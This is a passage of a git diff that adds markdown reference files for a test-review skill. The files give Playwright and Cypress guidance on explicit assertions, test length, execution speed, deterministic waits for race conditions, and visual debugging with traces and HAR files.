+  const userData = createUser({ email: 'test@example.com' });
+
+  const response = await request.post('/api/users', { data: userData });
+
+  // What assertions are running? Have to check helper.
+  await validateUserCreation(response, userData.email);
+  // When this fails, error is: "validateUserCreation failed" - NOT helpful
+});
+
+// ✅ GOOD: Assertions explicit in test
+test('create user via API', async ({ request }) => {
+  const userData = createUser({ email: 'test@example.com' });
+
+  const response = await request.post('/api/users', { data: userData });
+
+  // All assertions visible - clear test intent
+  expect(response.status()).toBe(201);
+
+  const createdUser = await response.json();
+  expect(createdUser.id).toBeTruthy();
+  expect(createdUser.email).toBe(userData.email);
+  expect(createdUser.name).toBe(userData.name);
+  expect(createdUser.role).toBe('user');
+  expect(createdUser.createdAt).toBeTruthy();
+  expect(createdUser.isActive).toBe(true);
+
+  // When this fails, error is: "Expected role to be 'user', got 'admin'" - HELPFUL
+});
+
+// ✅ ACCEPTABLE: Helper for data extraction, NOT assertions
+// helpers/api-extractors.ts
+export async function extractUserFromResponse(response: Response): Promise<User> {
+  const user = await response.json();
+  return user; // Just extracts, no assertions
+}
+
+test('create user with extraction helper', async ({ request }) => {
+  const userData = createUser({ email: 'test@example.com' });
+
+  const response = await request.post('/api/users', { data: userData });
+
+  // Extract data with helper (OK)
+  const createdUser = await extractUserFromResponse(response);
+
+  // But keep assertions in test (REQUIRED)
+  expect(response.status()).toBe(201);
+  expect(createdUser.email).toBe(userData.email);
+  expect(createdUser.role).toBe('user');
+});
+
+// Cypress equivalent
+describe('User API', () => {
+  it('should create user with explicit assertions', () => {
+    const userData = createUser({ email: 'test@example.com' });
+
+    cy.request('POST', '/api/users', userData).then((response) => {
+      // All assertions visible in test
+      expect(response.status).to.equal(201);
+      expect(response.body.id).to.exist;
+      expect(response.body.email).to.equal(userData.email);
+      expect(response.body.name).to.equal(userData.name);
+      expect(response.body.role).to.equal('user');
+      expect(response.body.createdAt).to.exist;
+      expect(response.body.isActive).to.be.true;
+    });
+  });
+});
+
+// ✅ GOOD: Parametrized tests for soft assertions (bulk validation)
+test.describe('User creation validation', () => {
+  const testCases = [
+    { field: 'email', value: 'test@example.com', expected: 'test@example.com' },
+    { field: 'name', value: 'Test User', expected: 'Test User' },
+    { field: 'role', value: 'admin', expected: 'admin' },
+    { field: 'isActive', value: true, expected: true },
+  ];
+
+  for (const { field, value, expected } of testCases) {
+    test(`should set ${field} correctly`, async ({ request }) => {
+      const userData = createUser({ [field]: value });
+
+      const response = await request.post('/api/users', { data: userData });
+      const user = await response.json();
+
+      // Parametrized assertion - still explicit
+      expect(user[field]).toBe(expected);
+    });
+  }
+});
+```
+
+**Key Points**:
+
+- Never hide `expect()` calls in helper functions
+- Helpers can extract/transform data, but assertions stay in tests
+- Parametrized tests are acceptable for bulk validation (still explicit)
+- Explicit assertions make failures actionable: "Expected X, got Y"
+- Hidden assertions produce vague failures: "Helper function failed"
+
+### Example 4: Test Length Limits
+
+**Context**: When tests grow beyond 300 lines, they become hard to understand, debug, and maintain. Refactor long tests by extracting setup helpers, splitting scenarios, or using fixtures.
+
+**Implementation**:
+
+```typescript
+// ❌ BAD: 400-line monolithic test (truncated for example)
+test('complete user journey - TOO LONG', async ({ page, request }) => {
+  // 50 lines of setup
+  const admin = createUser({ role: 'admin' });
+  await request.post('/api/users', { data: admin });
+  await page.goto('/login');
+  await page.fill('[data-testid="email"]', admin.email);
+  await page.fill('[data-testid="password"]', 'password123');
+  await page.click('[data-testid="login"]');
+  await expect(page).toHaveURL('/dashboard');
+
+  // 100 lines of user creation
+  await page.goto('/admin/users');
+  const newUser = createUser();
+  await page.fill('[data-testid="email"]', newUser.email);
+  // ... 95 more lines of form filling, validation, etc.
+
+  // 100 lines of permissions assignment
+  await page.click('[data-testid="assign-permissions"]');
+  // ... 95 more lines
+
+  // 100 lines of notification preferences
+  await page.click('[data-testid="notification-settings"]');
+  // ... 95 more lines
+
+  // 50 lines of cleanup
+  await request.delete(`/api/users/${newUser.id}`);
+  // ... 45 more lines
+
+  // TOTAL: 400 lines - impossible to understand or debug
+});
+
+// ✅ GOOD: Split into focused tests with shared fixture
+// playwright/support/fixtures/admin-fixture.ts
+export const test = base.extend({
+  adminPage: async ({ page, request }, use) => {
+    // Shared setup: Login as admin
+    const admin = createUser({ role: 'admin' });
+    await request.post('/api/users', { data: admin });
+
+    await page.goto('/login');
+    await page.fill('[data-testid="email"]', admin.email);
+    await page.fill('[data-testid="password"]', 'password123');
+    await page.click('[data-testid="login"]');
+    await expect(page).toHaveURL('/dashboard');
+
+    await use(page); // Provide logged-in page
+
+    // Cleanup handled by fixture
+  },
+});
+
+// Test 1: User creation (50 lines)
+test('admin can create user', async ({ adminPage, seedUser }) => {
+  await adminPage.goto('/admin/users');
+
+  const newUser = createUser();
+  await adminPage.fill('[data-testid="email"]', newUser.email);
+  await adminPage.fill('[data-testid="name"]', newUser.name);
+  await adminPage.click('[data-testid="role-dropdown"]');
+  await adminPage.click('[data-testid="role-user"]');
+  await adminPage.click('[data-testid="create-user"]');
+
+  await expect(adminPage.getByText('User created')).toBeVisible();
+  await expect(adminPage.getByText(newUser.email)).toBeVisible();
+
+  // Verify in database
+  const created = await seedUser({ email: newUser.email });
+  expect(created.role).toBe('user');
+});
+
+// Test 2: Permission assignment (60 lines)
+test('admin can assign permissions', async ({ adminPage, seedUser }) => {
+  const user = await seedUser({ email: faker.internet.email() });
+
+  await adminPage.goto(`/admin/users/${user.id}`);
+  await adminPage.click('[data-testid="assign-permissions"]');
+  await adminPage.check('[data-testid="permission-read"]');
+  await adminPage.check('[data-testid="permission-write"]');
+  await adminPage.click('[data-testid="save-permissions"]');
+
+  await expect(adminPage.getByText('Permissions updated')).toBeVisible();
+
+  // Verify permissions assigned
+  const response = await adminPage.request.get(`/api/users/${user.id}`);
+  const updated = await response.json();
+  expect(updated.permissions).toContain('read');
+  expect(updated.permissions).toContain('write');
+});
+
+// Test 3: Notification preferences (70 lines)
+test('admin can update notification preferences', async ({ adminPage, seedUser }) => {
+  const user = await seedUser({ email: faker.internet.email() });
+
+  await adminPage.goto(`/admin/users/${user.id}/notifications`);
+  await adminPage.check('[data-testid="email-notifications"]');
+  await adminPage.uncheck('[data-testid="sms-notifications"]');
+  await adminPage.selectOption('[data-testid="frequency"]', 'daily');
+  await adminPage.click('[data-testid="save-preferences"]');
+
+  await expect(adminPage.getByText('Preferences saved')).toBeVisible();
+
+  // Verify preferences
+  const response = await adminPage.request.get(`/api/users/${user.id}/preferences`);
+  const prefs = await response.json();
+  expect(prefs.emailEnabled).toBe(true);
+  expect(prefs.smsEnabled).toBe(false);
+  expect(prefs.frequency).toBe('daily');
+});
+
+// TOTAL: 3 tests × 60 lines avg = 180 lines
+// Each test is focused, debuggable, and under 300 lines
+```
+
+**Key Points**:
+
+- Split monolithic tests into focused scenarios (<300 lines each)
+- Extract common setup into fixtures (auto-runs for each test)
+- Each test validates one concern (user creation, permissions, preferences)
+- Failures are easier to diagnose: "Permission assignment failed" vs "Complete journey failed"
+- Tests can run in parallel (isolated concerns)
+
+### Example 5: Execution Time Optimization
+
+**Context**: When tests take longer than 1.5 minutes, they slow CI pipelines and feedback loops. Optimize by using API setup instead of UI navigation, parallelizing independent operations, and avoiding unnecessary waits.
+
+**Implementation**:
+
+```typescript
+// ❌ BAD: 4-minute test (slow setup, sequential operations)
+test('user completes order - SLOW (4 min)', async ({ page }) => {
+  // Step 1: Manual signup via UI (90 seconds)
+  await page.goto('/signup');
+  await page.fill('[data-testid="email"]', 'buyer@example.com');
+  await page.fill('[data-testid="password"]', 'password123');
+  await page.fill('[data-testid="confirm-password"]', 'password123');
+  await page.fill('[data-testid="name"]', 'Buyer User');
+  await page.click('[data-testid="signup"]');
+  await page.waitForURL('/verify-email'); // Wait for email verification
+  // ... manual email verification flow
+
+  // Step 2: Manual product creation via UI (60 seconds)
+  await page.goto('/admin/products');
+  await page.fill('[data-testid="product-name"]', 'Widget');
+  // ... 20 more fields
+  await page.click('[data-testid="create-product"]');
+
+  // Step 3: Navigate to checkout (30 seconds)
+  await page.goto('/products');
+  await page.waitForTimeout(5000); // Unnecessary hard wait
+  await page.click('[data-testid="product-widget"]');
+  await page.waitForTimeout(3000); // Unnecessary
+  await page.click('[data-testid="add-to-cart"]');
+  await page.waitForTimeout(2000); // Unnecessary
+
+  // Step 4: Complete checkout (40 seconds)
+  await page.goto('/checkout');
+  await page.waitForTimeout(5000); // Unnecessary
+  await page.fill('[data-testid="credit-card"]', '4111111111111111');
+  // ... more form filling
+  await page.click('[data-testid="submit-order"]');
+  await page.waitForTimeout(10000); // Unnecessary
+
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+
+  // TOTAL: ~240 seconds (4 minutes)
+});
+
+// ✅ GOOD: 45-second test (API setup, parallel ops, deterministic waits)
+test('user completes order', async ({ page, apiRequest }) => {
+  // Step 1: API setup (parallel, 5 seconds total)
+  const [user, product] = await Promise.all([
+    // Create user via API (fast)
+    apiRequest
+      .post('/api/users', {
+        data: createUser({
+          email: 'buyer@example.com',
+          emailVerified: true, // Skip verification
+        }),
+      })
+      .then((r) => r.json()),
+
+    // Create product via API (fast)
+    apiRequest
+      .post('/api/products', {
+        data: createProduct({
+          name: 'Widget',
+          price: 29.99,
+          stock: 10,
+        }),
+      })
+      .then((r) => r.json()),
+  ]);
+
+  // Step 2: Auth setup via storage state (instant, 0 seconds)
+  await page.context().addCookies([
+    {
+      name: 'auth_token',
+      value: user.token,
+      domain: 'localhost',
+      path: '/',
+    },
+  ]);
+
+  // Step 3: Network-first interception BEFORE navigation (10 seconds)
+  const cartPromise = page.waitForResponse('**/api/cart');
+  const orderPromise = page.waitForResponse('**/api/orders');
+
+  await page.goto(`/products/${product.id}`);
+  await page.click('[data-testid="add-to-cart"]');
+  await cartPromise; // Deterministic wait (no hard wait)
+
+  // Step 4: Checkout with network waits (30 seconds)
+  await page.goto('/checkout');
+  await page.fill('[data-testid="credit-card"]', '4111111111111111');
+  await page.fill('[data-testid="cvv"]', '123');
+  await page.fill('[data-testid="expiry"]', '12/25');
+  await page.click('[data-testid="submit-order"]');
+  await orderPromise; // Deterministic wait (no hard wait)
+
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+  await expect(page.getByText(`Order #${product.id}`)).toBeVisible();
+
+  // TOTAL: ~45 seconds (6x faster)
+});
+
+// Cypress equivalent
+describe('Order Flow', () => {
+  it('should complete purchase quickly', () => {
+    // Step 1: API setup (parallel, fast)
+    const user = createUser({ emailVerified: true });
+    const product = createProduct({ name: 'Widget', price: 29.99 });
+
+    cy.task('db:seed', { users: [user], products: [product] });
+
+    // Step 2: Auth setup via session (instant)
+    cy.setCookie('auth_token', user.token);
+
+    // Step 3: Network-first interception
+    cy.intercept('POST', '**/api/cart').as('addToCart');
+    cy.intercept('POST', '**/api/orders').as('createOrder');
+
+    cy.visit(`/products/${product.id}`);
+    cy.get('[data-cy="add-to-cart"]').click();
+    cy.wait('@addToCart'); // Deterministic wait
+
+    // Step 4: Checkout
+    cy.visit('/checkout');
+    cy.get('[data-cy="credit-card"]').type('4111111111111111');
+    cy.get('[data-cy="cvv"]').type('123');
+    cy.get('[data-cy="expiry"]').type('12/25');
+    cy.get('[data-cy="submit-order"]').click();
+    cy.wait('@createOrder'); // Deterministic wait
+
+    cy.contains('Order Confirmed').should('be.visible');
+    cy.contains(`Order #${product.id}`).should('be.visible');
+  });
+});
+
+// Additional optimization: Shared auth state (0 seconds per test)
+// playwright/support/global-setup.ts
+export default async function globalSetup() {
+  const browser = await chromium.launch();
+  const page = await browser.newPage();
+
+  // Create admin user once for all tests
+  const admin = createUser({ role: 'admin', emailVerified: true });
+  await page.request.post('/api/users', { data: admin });
+
+  // Login once, save session
+  await page.goto('/login');
+  await page.fill('[data-testid="email"]', admin.email);
+  await page.fill('[data-testid="password"]', 'password123');
+  await page.click('[data-testid="login"]');
+
+  // Save auth state for reuse
+  await page.context().storageState({ path: 'playwright/.auth/admin.json' });
+
+  await browser.close();
+}
+
+// Use shared auth in tests (instant)
+test.use({ storageState: 'playwright/.auth/admin.json' });
+
+test('admin action', async ({ page }) => {
+  // Already logged in - no auth overhead (0 seconds)
+  await page.goto('/admin');
+  // ... test logic
+});
+```
+
+**Key Points**:
+
+- Use API for data setup (10-50x faster than UI)
+- Run independent operations in parallel (`Promise.all`)
+- Replace hard waits with deterministic waits (`waitForResponse`)
+- Reuse auth sessions via `storageState` (Playwright) or `setCookie` (Cypress)
+- Skip unnecessary flows (email verification, multi-step signups)
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (test generation quality), `*automate` (test expansion quality), `*test-review` (quality validation)
+- **Related fragments**:
+  - `network-first.md` - Deterministic waiting strategies
+  - `data-factories.md` - Isolated, parallel-safe data patterns
+  - `fixture-architecture.md` - Setup extraction and cleanup
+  - `test-levels-framework.md` - Choosing appropriate test granularity for speed
+
+## Core Quality Checklist
+
+Every test must pass these criteria:
+
+- [ ] **No Hard Waits** - Use `waitForResponse`, `waitForLoadState`, or element state (not `waitForTimeout`)
+- [ ] **No Conditionals** - Tests execute the same path every time (no if/else, try/catch for flow control)
+- [ ] **< 300 Lines** - Keep tests focused; split large tests or extract setup to fixtures
+- [ ] **< 1.5 Minutes** - Optimize with API setup, parallel operations, and shared auth
+- [ ] **Self-Cleaning** - Use fixtures with auto-cleanup or explicit `afterEach()` teardown
+- [ ] **Explicit Assertions** - Keep `expect()` calls in test bodies, not hidden in helpers
+- [ ] **Unique Data** - Use `faker` for dynamic data; never hardcode IDs or emails
+- [ ] **Parallel-Safe** - Tests don't share state; run successfully with `--workers=4`
+
+_Source: Murat quality checklist, Definition of Done requirements (lines 370-381, 406-422)._
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/timing-debugging.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/timing-debugging.md
new file mode 100644
index 0000000..61ae919
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/timing-debugging.md
@@ -0,0 +1,372 @@
+# Timing Debugging and Race Condition Fixes
+
+## Principle
+
+Race conditions arise when tests make assumptions about asynchronous timing (network, animations, state updates). **Deterministic waiting** eliminates flakiness by explicitly waiting for observable events (network responses, element state changes) instead of arbitrary timeouts.
+
+## Rationale
+
+**The Problem**: Tests pass locally but fail in CI (different timing), or pass/fail randomly (race conditions). Hard waits (`waitForTimeout`, `sleep`) mask timing issues without solving them.
+
+**The Solution**: Replace all hard waits with event-based waits (`waitForResponse`, `waitFor({ state })`). Implement network-first pattern (intercept before navigate). Use explicit state checks (loading spinner detached, data loaded). This makes tests deterministic regardless of network speed or system load.
+
+**Why This Matters**:
+
+- Eliminates flaky tests (0 tolerance for timing-based failures)
+- Works consistently across environments (local, CI, production-like)
+- Faster test execution (no unnecessary waits)
+- Clearer test intent (explicit about what we're waiting for)
+
+## Pattern Examples
+
+### Example 1: Race Condition Identification (Network-First Pattern)
+
+**Context**: Prevent race conditions by intercepting network requests before navigation
+
+**Implementation**:
+
+```typescript
+// tests/timing/race-condition-prevention.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Race Condition Prevention Patterns', () => {
+  test('❌ Anti-Pattern: Navigate then intercept (race condition)', async ({ page, context }) => {
+    // BAD: Navigation starts before interception ready
+    await page.goto('/products'); // ⚠️ Race! API might load before route is set
+
+    await context.route('**/api/products', (route) => {
+      route.fulfill({ status: 200, body: JSON.stringify({ products: [] }) });
+    });
+
+    // Test may see real API response or mock (non-deterministic)
+  });
+
+  test('✅ Pattern: Intercept BEFORE navigate (deterministic)', async ({ page, context }) => {
+    // GOOD: Interception ready before navigation
+    await context.route('**/api/products', (route) => {
+      route.fulfill({
+        status: 200,
+        contentType: 'application/json',
+        body: JSON.stringify({
+          products: [
+            { id: 1, name: 'Product A', price: 29.99 },
+            { id: 2, name: 'Product B', price: 49.99 },
+          ],
+        }),
+      });
+    });
+
+    const responsePromise = page.waitForResponse('**/api/products');
+
+    await page.goto('/products'); // Navigation happens AFTER route is ready
+    await responsePromise; // Explicit wait for network
+
+    // Test sees mock response reliably (deterministic)
+    await expect(page.getByText('Product A')).toBeVisible();
+  });
+
+  test('✅ Pattern: Wait for element state change (loading → loaded)', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // Wait for loading indicator to appear (confirms load started)
+    await page.getByTestId('loading-spinner').waitFor({ state: 'visible' });
+
+    // Wait for loading indicator to disappear (confirms load complete)
+    await page.getByTestId('loading-spinner').waitFor({ state: 'detached' });
+
+    // Content now reliably visible
+    await expect(page.getByTestId('dashboard-data')).toBeVisible();
+  });
+
+  test('✅ Pattern: Explicit visibility check (not just presence)', async ({ page }) => {
+    await page.goto('/modal-demo');
+
+    await page.getByRole('button', { name: 'Open Modal' }).click();
+
+    // ❌ Bad: Element exists but may not be visible yet
+    // await expect(page.getByTestId('modal')).toBeAttached()
+
+    // ✅ Good: Wait for visibility (accounts for animations)
+    await expect(page.getByTestId('modal')).toBeVisible();
+    await expect(page.getByRole('heading', { name: 'Modal Title' })).toBeVisible();
+  });
+
+  test('❌ Anti-Pattern: waitForLoadState("networkidle") in SPAs', async ({ page }) => {
+    // ⚠️ Deprecated for SPAs (WebSocket connections never idle)
+    // await page.goto('/dashboard')
+    // await page.waitForLoadState('networkidle') // May timeout in SPAs
+
+    // ✅ Better: Wait for specific API response
+    const responsePromise = page.waitForResponse('**/api/dashboard');
+    await page.goto('/dashboard');
+    await responsePromise;
+
+    await expect(page.getByText('Dashboard loaded')).toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Network-first: ALWAYS intercept before navigate (prevents race conditions)
+- State changes: Wait for loading spinner detached (explicit load completion)
+- Visibility vs presence: `toBeVisible()` accounts for animations, `toBeAttached()` doesn't
+- Avoid networkidle: Unreliable in SPAs (WebSocket, polling connections)
+- Explicit waits: Document exactly what we're waiting for
+
+---
+
+### Example 2: Deterministic Waiting Patterns (Event-Based, Not Time-Based)
+
+**Context**: Replace all hard waits with observable event waits
+
+**Implementation**:
+
+```typescript
+// tests/timing/deterministic-waits.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Deterministic Waiting Patterns', () => {
+  test('waitForResponse() with URL pattern', async ({ page }) => {
+    const responsePromise = page.waitForResponse('**/api/products');
+
+    await page.goto('/products');
+    await responsePromise; // Deterministic (waits for exact API call)
+
+    await expect(page.getByText('Products loaded')).toBeVisible();
+  });
+
+  test('waitForResponse() with predicate function', async ({ page }) => {
+    const responsePromise = page.waitForResponse((resp) => resp.url().includes('/api/search') && resp.status() === 200);
+
+    await page.goto('/search');
+    await page.getByPlaceholder('Search').fill('laptop');
+    await page.getByRole('button', { name: 'Search' }).click();
+
+    await responsePromise; // Wait for successful search response
+
+    await expect(page.getByTestId('search-results')).toBeVisible();
+  });
+
+  test('waitForFunction() for custom conditions', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // Wait for custom JavaScript condition
+    await page.waitForFunction(() => {
+      const element = document.querySelector('[data-testid="user-count"]');
+      return element && parseInt(element.textContent || '0') > 0;
+    });
+
+    // User count now loaded
+    await expect(page.getByTestId('user-count')).not.toHaveText('0');
+  });
+
+  test('waitFor() element state (attached, visible, hidden, detached)', async ({ page }) => {
+    await page.goto('/products');
+
+    // Wait for element to be attached to DOM
+    await page.getByTestId('product-list').waitFor({ state: 'attached' });
+
+    // Wait for element to be visible (animations complete)
+    await page.getByTestId('product-list').waitFor({ state: 'visible' });
+
+    // Perform action
+    await page.getByText('Product A').click();
+
+    // Wait for modal to be hidden (close animation complete)
+    await page.getByTestId('modal').waitFor({ state: 'hidden' });
+  });
+
+  test('Cypress: cy.wait() with aliased intercepts', async () => {
+    // Cypress example (not Playwright)
+    /*
+    cy.intercept('GET', '/api/products').as('getProducts')
+    cy.visit('/products')
+    cy.wait('@getProducts') // Deterministic wait for specific request
+
+    cy.get('[data-testid="product-list"]').should('be.visible')
+    */
+  });
+});
+```
+
+**Key Points**:
+
+- `waitForResponse()`: Wait for specific API calls (URL pattern or predicate)
+- `waitForFunction()`: Wait for custom JavaScript conditions
+- `waitFor({ state })`: Wait for element state changes (attached, visible, hidden, detached)
+- Cypress `cy.wait('@alias')`: Deterministic wait for aliased intercepts
+- All waits are event-based (not time-based)
+
+---
+
+### Example 3: Timing Anti-Patterns (What NEVER to Do)
+
+**Context**: Common timing mistakes that cause flakiness
+
+**Problem Examples**:
+
+```typescript
+// tests/timing/anti-patterns.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Timing Anti-Patterns to Avoid', () => {
+  test('❌ NEVER: page.waitForTimeout() (arbitrary delay)', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // ❌ Bad: Arbitrary 3-second wait (flaky)
+    // await page.waitForTimeout(3000)
+    // Problem: Might be too short (CI slower) or too long (wastes time)
+
+    // ✅ Good: Wait for observable event
+    await page.waitForResponse('**/api/dashboard');
+    await expect(page.getByText('Dashboard loaded')).toBeVisible();
+  });
+
+  test('❌ NEVER: cy.wait(number) without alias (arbitrary delay)', async () => {
+    // Cypress example
+    /*
+    // ❌ Bad: Arbitrary delay
+    cy.visit('/products')
+    cy.wait(2000) // Flaky!
+
+    // ✅ Good: Wait for specific request
+    cy.intercept('GET', '/api/products').as('getProducts')
+    cy.visit('/products')
+    cy.wait('@getProducts') // Deterministic
+    */
+  });
+
+  test('❌ NEVER: Multiple hard waits in sequence (compounding delays)', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // ❌ Bad: Stacked hard waits (6+ seconds wasted)
+    // await page.waitForTimeout(2000) // Wait for form
+    // await page.getByTestId('email').fill('test@example.com')
+    // await page.waitForTimeout(1000) // Wait for validation
+    // await page.getByTestId('submit').click()
+    // await page.waitForTimeout(3000) // Wait for redirect
+
+    // ✅ Good: Event-based waits (no wasted time)
+    await page.getByTestId('checkout-form').waitFor({ state: 'visible' });
+    await page.getByTestId('email').fill('test@example.com');
+    await page.waitForResponse('**/api/validate-email');
+    await page.getByTestId('submit').click();
+    await page.waitForURL('**/confirmation');
+  });
+
+  test('❌ NEVER: waitForLoadState("networkidle") in SPAs', async ({ page }) => {
+    // ❌ Bad: Unreliable in SPAs (WebSocket connections never idle)
+    // await page.goto('/dashboard')
+    // await page.waitForLoadState('networkidle') // Timeout in SPAs!
+
+    // ✅ Good: Wait for specific API responses
+    await page.goto('/dashboard');
+    await page.waitForResponse('**/api/dashboard');
+    await page.waitForResponse('**/api/user');
+    await expect(page.getByTestId('dashboard-content')).toBeVisible();
+  });
+
+  test('❌ NEVER: Sleep/setTimeout in tests', async ({ page }) => {
+    await page.goto('/products');
+
+    // ❌ Bad: Node.js sleep (blocks test thread)
+    // await new Promise(resolve => setTimeout(resolve, 2000))
+
+    // ✅ Good: Playwright auto-waits for element
+    await expect(page.getByText('Products loaded')).toBeVisible();
+  });
+});
+```
+
+**Why These Fail**:
+
+- **Hard waits**: Arbitrary timeouts (too short → flaky, too long → slow)
+- **Stacked waits**: Compound delays (wasteful, unreliable)
+- **networkidle**: Broken in SPAs (WebSocket/polling never idle)
+- **Sleep**: Blocks execution (wastes time, doesn't solve race conditions)
+
+**Better Approach**: Use event-based waits from examples above
+
+---
+
+## Async Debugging Techniques
+
+### Technique 1: Promise Chain Analysis
+
+```typescript
+test('debug async waterfall with console logs', async ({ page }) => {
+  console.log('1. Starting navigation...');
+  await page.goto('/products');
+
+  console.log('2. Waiting for API response...');
+  const response = await page.waitForResponse('**/api/products');
+  console.log('3. API responded:', response.status());
+
+  console.log('4. Waiting for UI update...');
+  await expect(page.getByText('Products loaded')).toBeVisible();
+  console.log('5. Test complete');
+
+  // Console output shows exactly where timing issue occurs
+});
+```
+
+### Technique 2: Network Waterfall Inspection (DevTools)
+
+```typescript
+test('inspect network timing with trace viewer', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // Generate trace for analysis
+  // npx playwright test --trace on
+  // npx playwright show-trace trace.zip
+
+  // In trace viewer:
+  // 1. Check Network tab for API call timing
+  // 2. Identify slow requests (>1s response time)
+  // 3. Find race conditions (overlapping requests)
+  // 4. Verify request order (dependencies)
+});
+```
+
+### Technique 3: Trace Viewer for Timing Visualization
+
+```typescript
+test('use trace viewer to debug timing', async ({ page }) => {
+  // Run with trace: npx playwright test --trace on
+
+  await page.goto('/checkout');
+  await page.getByTestId('submit').click();
+
+  // In trace viewer, examine:
+  // - Timeline: See exact timing of each action
+  // - Snapshots: Hover to see DOM state at each moment
+  // - Network: Identify slow/failed requests
+  // - Console: Check for async errors
+
+  await expect(page.getByText('Success')).toBeVisible();
+});
+```
+
+---
+
+## Race Condition Checklist
+
+Before deploying tests:
+
+- [ ] **Network-first pattern**: All routes intercepted BEFORE navigation (no race conditions)
+- [ ] **Explicit waits**: Every navigation followed by `waitForResponse()` or state check
+- [ ] **No hard waits**: Zero instances of `waitForTimeout()`, `cy.wait(number)`, `sleep()`
+- [ ] **Element state waits**: Loading spinners use `waitFor({ state: 'detached' })`
+- [ ] **Visibility checks**: Use `toBeVisible()` (accounts for animations), not just `toBeAttached()`
+- [ ] **Response validation**: Wait for successful responses (`resp.ok()` or `status === 200`)
+- [ ] **Trace viewer analysis**: Generate traces to identify timing issues (network waterfall, console errors)
+- [ ] **CI/local parity**: Tests pass reliably in both environments (no timing assumptions)
+
+## Integration Points
+
+- **Used in workflows**: `*automate` (healing timing failures), `*test-review` (detect hard wait anti-patterns), `*framework` (configure timeout standards)
+- **Related fragments**: `test-healing-patterns.md` (race condition diagnosis), `network-first.md` (interception patterns), `playwright-config.md` (timeout configuration), `visual-debugging.md` (trace viewer analysis)
+- **Tools**: Playwright Inspector (`--debug`), Trace Viewer (`--trace on`), DevTools Network tab
+
+_Source: Playwright timing best practices, network-first pattern from test-resources-for-ai, production race condition debugging_
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/visual-debugging.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/visual-debugging.md
new file mode 100644
index 0000000..710ec46
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/visual-debugging.md
@@ -0,0 +1,527 @@
+# Visual Debugging and Developer Ergonomics
+
+## Principle
+
+Fast feedback loops and transparent debugging artifacts are critical for maintaining test reliability and developer confidence. Visual debugging tools (trace viewers, screenshots, videos, HAR files) turn cryptic test failures into actionable insights, reducing triage time from hours to minutes.
+
+## Rationale
+
+**The Problem**: CI failures often provide minimal context—a timeout, a selector mismatch, or a network error—forcing developers to reproduce issues locally (if they can). This wastes time and discourages test maintenance.
+
+**The Solution**: Capture rich debugging artifacts **only on failure** to balance storage costs with diagnostic value. Modern tools like Playwright Trace Viewer, Cypress Debug UI, and HAR recordings provide interactive, time-travel debugging that reveals exactly what the test saw at each step.
+
+**Why This Matters**:
+
+- Reduces failure triage time by 80-90% (visual context vs logs alone)
+- Enables debugging without local reproduction
+- Improves test maintenance confidence (clear failure root cause)
+- Catches timing/race conditions that are hard to reproduce locally
+
+## Pattern Examples
+
+### Example 1: Playwright Trace Viewer Configuration (Production Pattern)
+
+**Context**: Capture traces for failures and retries so flaky runs can be compared directly. Prefer `retain-on-failure-and-retries` as the default policy so failed retries can be compared with passing runs.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts
+import { defineConfig } from '@playwright/test';
+
+export default defineConfig({
+  use: {
+    // Visual debugging artifacts (best signal for flaky triage)
+    trace: 'retain-on-failure-and-retries', // Keep every failed attempt
+    screenshot: 'only-on-failure', // Not on success
+    video: 'retain-on-failure', // Delete on pass
+
+    // Context for debugging
+    baseURL: process.env.BASE_URL || 'http://localhost:3000',
+
+    // Timeout context
+    actionTimeout: 15_000, // 15s for clicks/fills
+    navigationTimeout: 30_000, // 30s for page loads
+  },
+
+  // CI-specific artifact retention
+  reporter: [
+    ['html', { outputFolder: 'playwright-report', open: 'never' }],
+    ['junit', { outputFile: 'results.xml' }],
+    ['list'], // Console output
+  ],
+
+  // Failure handling
+  retries: process.env.CI ? 2 : 0, // Retry in CI to capture trace
+  workers: process.env.CI ? 1 : undefined,
+});
+```
+
+**Opening and Using Trace Viewer**:
+
+```bash
+# After test failure in CI, download trace artifact
+# Then inspect locally:
+npx playwright trace open path/to/trace.zip
+
+# Filter to the failing expectation or action from the terminal
+npx playwright trace actions path/to/trace.zip --grep="expect"
+npx playwright trace action path/to/trace.zip 9
+npx playwright trace snapshot path/to/trace.zip 9 --name after
+
+# Or serve trace viewer:
+npx playwright show-report
+```
+
+**Key Features to Use in Trace Viewer**:
+
+1. **Timeline**: See each action (click, navigate, assertion) with timing
+2. **Snapshots**: Hover over timeline to see DOM state at that moment
+3. **Network Tab**: Inspect all API calls, headers, payloads, timing
+4. **Console Tab**: View console.log/error messages
+5. **Source Tab**: See test code with execution markers
+6. **Metadata**: Browser, OS, test duration, screenshots
+
+**Why This Works**:
+
+- `retain-on-failure-and-retries` preserves enough history to compare the failing retry with a passing run
+- Screenshots + video give visual context without trace overhead
+- Interactive timeline makes timing issues obvious (race conditions, slow API)
+
+---
+
+### Example 2: HAR File Recording for Network Debugging
+
+**Context**: Capture all network activity for reproducible API debugging
+
+**Implementation**:
+
+```typescript
+// tests/e2e/checkout-with-har.spec.ts
+import { test, expect } from '@playwright/test';
+import path from 'path';
+
+test.describe('Checkout Flow with HAR Recording', () => {
+  test('should complete payment with full network capture', async ({ page, context }) => {
+    // Start HAR recording BEFORE navigation
+    await context.routeFromHAR(path.join(__dirname, '../fixtures/checkout.har'), {
+      url: '**/api/**', // Only capture API calls
+      update: true, // Update HAR if file exists
+    });
+
+    await page.goto('/checkout');
+
+    // Interact with page
+    await page.getByTestId('payment-method').selectOption('credit-card');
+    await page.getByTestId('card-number').fill('4242424242424242');
+    await page.getByTestId('submit-payment').click();
+
